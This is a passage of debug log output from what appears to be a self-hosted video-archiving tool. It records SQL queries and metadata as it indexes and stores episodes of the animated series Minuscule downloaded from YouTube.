Marks, Get Set.... (Season 1)", "Ngrmr24JVzc", 346, false, 4, "https://www.youtube.com/watch?v=Ngrmr24JVzc", "/downloads/Miniscule Season 1/2019-08-01 Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1)/Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1) [Ngrmr24JVzc].mp4", false, ~U[2019-08-01 10:30:00Z]] 00:53:52.736 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=941.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:52.736 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:52.737 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89119] 00:53:52.738 [debug] Current batch of media processed. Will check again in 1000ms 00:53:53.739 [debug] Current batch of media processed. Will check again in 1000ms 00:53:54.740 [debug] Current batch of media processed. Will check again in 1000ms 00:53:55.741 [debug] Current batch of media processed. Will check again in 1000ms 00:53:56.742 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 337, "filename" => "/downloads/Miniscule Season 1/2019-07-25 Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1)/Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1) [M2Ckl8UghiU].mp4", "id" => "M2Ckl8UghiU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=M2Ckl8UghiU", "playlist_index" => 127, "timestamp" => 1564050600, "title" => "Minuscule - Tomate Cerise/Cherry Tomato (Season 1)", "upload_date" => "20190725"} 00:53:56.743 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=940.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:56.744 [debug] QUERY OK source="sources" db=0.4ms idle=99.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:56.746 [debug] QUERY OK source="media_items" db=1.1ms idle=99.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-25 10:30:00Z], 4] 00:53:56.792 [debug] QUERY OK source="media_items" db=44.7ms idle=101.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tomate Cerise/Cherry Tomato (Season 1)", "befe2a7f-a80c-4fd9-a02f-d6c28bb605b2", "M2Ckl8UghiU", 337, false, 4, "https://www.youtube.com/watch?v=M2Ckl8UghiU", 127, "/downloads/Miniscule Season 1/2019-07-25 Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1)/Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1) [M2Ckl8UghiU].mp4", false, false, false, [], 1, ~U[2019-07-25 10:30:00Z], ~U[2025-12-14 07:53:56Z], ~U[2025-12-14 07:53:56Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tomate Cerise/Cherry Tomato (Season 1)", "M2Ckl8UghiU", 337, false, 4, "https://www.youtube.com/watch?v=M2Ckl8UghiU", "/downloads/Miniscule Season 1/2019-07-25 Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1)/Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1) [M2Ckl8UghiU].mp4", false, ~U[2019-07-25 10:30:00Z]] 00:53:56.793 [debug] QUERY OK source="sources" db=0.4ms idle=147.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:56.794 [debug] QUERY OK source="media_profiles" db=0.4ms idle=49.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:56.795 [debug] QUERY OK source="media_items" db=0.5ms idle=49.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89121] 00:53:56.795 [debug] Current batch of media processed. Will check again in 1000ms 00:53:57.796 [debug] Current batch of media processed. Will check again in 1000ms 00:53:58.797 [debug] Current batch of media processed. Will check again in 1000ms 00:53:59.798 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 325, "filename" => "/downloads/Miniscule Season 1/2019-07-23 Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1)/Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1) [jXi3DELlzEs].mp4", "id" => "jXi3DELlzEs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jXi3DELlzEs", "playlist_index" => 128, "timestamp" => 1563877802, "title" => "Minuscule - toiles d'interieur/Interior Cobwebs (Season 1)", "upload_date" => "20190723"} 00:53:59.799 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1153.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:59.800 [debug] QUERY OK source="sources" db=0.4ms idle=1154.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:59.802 [debug] QUERY OK source="media_items" db=1.0ms idle=1155.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-23 10:30:02Z], 4] 00:53:59.806 [debug] QUERY OK source="media_items" db=3.1ms idle=1157.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - toiles d'interieur/Interior Cobwebs (Season 1)", "bbd0057b-6f76-4166-b43f-acd56d9412a2", "jXi3DELlzEs", 325, false, 4, "https://www.youtube.com/watch?v=jXi3DELlzEs", 128, "/downloads/Miniscule Season 1/2019-07-23 Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1)/Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1) [jXi3DELlzEs].mp4", false, false, false, [], 1, ~U[2019-07-23 10:30:02Z], ~U[2025-12-14 07:53:59Z], ~U[2025-12-14 07:53:59Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - toiles d'interieur/Interior Cobwebs (Season 1)", "jXi3DELlzEs", 325, false, 4, "https://www.youtube.com/watch?v=jXi3DELlzEs", "/downloads/Miniscule Season 1/2019-07-23 Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1)/Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1) [jXi3DELlzEs].mp4", false, ~U[2019-07-23 10:30:02Z]] 00:53:59.807 [debug] QUERY OK source="sources" db=0.4ms idle=998.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:59.808 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:59.809 [debug] QUERY OK source="media_items" db=0.4ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89123] 00:53:59.809 [debug] Current batch of media processed. Will check again in 1000ms 00:54:00.658 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:00.810 [debug] Current batch of media processed. Will check again in 1000ms 00:54:01.149 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:01.811 [debug] Current batch of media processed. Will check again in 1000ms 00:54:02.812 [debug] Current batch of media processed. Will check again in 1000ms 00:54:03.813 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.33, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références 